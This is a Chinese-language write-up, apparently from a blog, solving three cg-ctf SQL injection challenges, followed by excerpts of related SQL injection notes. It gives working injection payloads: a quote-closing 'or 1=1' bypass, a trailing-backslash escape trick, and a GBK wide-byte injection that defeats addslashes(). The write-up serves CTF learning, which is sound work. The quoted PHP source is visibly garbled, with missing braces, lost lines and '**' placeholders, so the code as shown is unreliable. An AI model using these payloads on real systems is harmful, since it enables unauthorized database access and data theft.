cg-ctf-websql 注入
一般都是弄到原始碼之後,根據原始碼和能輸入的字元,閉合某些字段,遮蔽後面的字段,然後在這中間插入自己的查詢語句。
源網頁**如下:
secure web login
<
/head>
<?phpif(
$_post
[user]
&&$_post
[pass])if
($query
[user]
!="admin")}
echo
$query
[user]
;?>
"username"
>
"password"
>
<
/form>
<
/body>
"index.phps"
>source<
/a>
<
/html>
分析源**,可以發現程式設計師對我們的輸入進行了一定的反注入設定,特意在條件裡面新增了引號和括號。
不過這個注入也是很簡單,提前匹配引號和括號即可,至於後面的,可以使用注釋符號#
來注釋掉。
輸入的username
為:') or 1=1 #'
,password
可以不用管,然後就能構造出以下的 sql 語句了:
select
user
from ctf where
(user=''
)or1=
1#')' and (pw='')
提交之後,成功獲得 flag 。
參考:php htmlentities() 函式
php **如下:
#goal: login as admin,then get the flag;
error_reporting(0
);require
'db.inc.php'
;function
clean
($str
)return
htmlentities
($str
,ent_quotes);
}$username
= @clean
((string)
$_get
['username'])
;$password
= @clean
((string)
$_get
['password'])
;$query
='select * from users where name=\''
.$username
.'\' and pass=\''
.$password
.'\';'
;$result
=mysql_query
($query);
if(!$result
||mysql_num_rows
($result
)<1)
echo
$flag
;
可以通過注入來獲取 flag 。但是因為有乙個clean()
函式,裡面的htmlentities()
函式是把字串轉化為網頁可顯示的字串,也就是會轉義單引號、雙引號等字元。因此就不能直接寫 sql 語句進行注入。
不過題目提示的有 反斜槓可以用來轉義 。由於經驗不是很足,所以在看到提示之後也還是沒有什麼頭緒,最後在網上找了一下 writeup 看了下,發現可以把name = ''
裡面最後乙個單引號轉義掉,這樣name
後面第乙個單引號就能夠跟pass = ''
前面的單引號配對了,此時只需要在傳遞的username
的字串最後加乙個反斜槓\
就可以轉義了。
下面是瀏覽器的請求:
?username=admin \&password= or 1=1 %23
就能構造出以下的query
了:
select
*from users where name=
'admin \' and password = 'or1
=1#'
完成注入,獲得 flag !
參考:gbk字元編碼和寬位元組sql注入 、cgctf——gbk injection在 sql 中,假如第乙個字元的值大於 128 ,則它會被認為是乙個漢字的首位元組(認為漢字是2個位元組),然後就可以在瀏覽器輸入一些字元達到這個條件來注入。
比如,有這樣一條 sql 語句:
select id, title from news where id =
'1';
這個是固定的 sql 語句,我們能夠在瀏覽器改變的是 id 的值。
因為 php 缺省會對所有的 get、post 和 cookie 資料自動進行addslashes()
,我們輸入的單引號會被處理成為\'
,利用這個特點和寬字元的特點,我們完全可以構造乙個寬字元,直接把處理後的\'
裡面的\
當做是漢字的第二個位元組,然後後面的'
就會封閉id
欄位的查詢,進行後面的注入操作了:
select id, title from news where id =
'1珮'
and1=2
#';
構造出這條 sql 語句的瀏覽器輸入為:
?id=1%af%27and 1=2 %23
解析:只要有乙個字元的值大於 128 時就可以被判斷成漢字,所以1
後面的字元可以是任意大於 128 的字元。瀏覽器輸入的這條語句在經過addslashes()
後,會在%27
也就是'
前加乙個反斜槓變成\'
,然後%af
位元組跟\
位元組在 mysql 中就被認為是乙個漢字而過濾掉反斜槓,然後就剩下乙個單引號閉合前面的單引號,後面就可以加入自己的 sql 語句了。
**於網路:cg-ctf的gbk - injection
sql注入(筆記)
一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...
sql注入筆記
sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...
sql注入筆記
1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...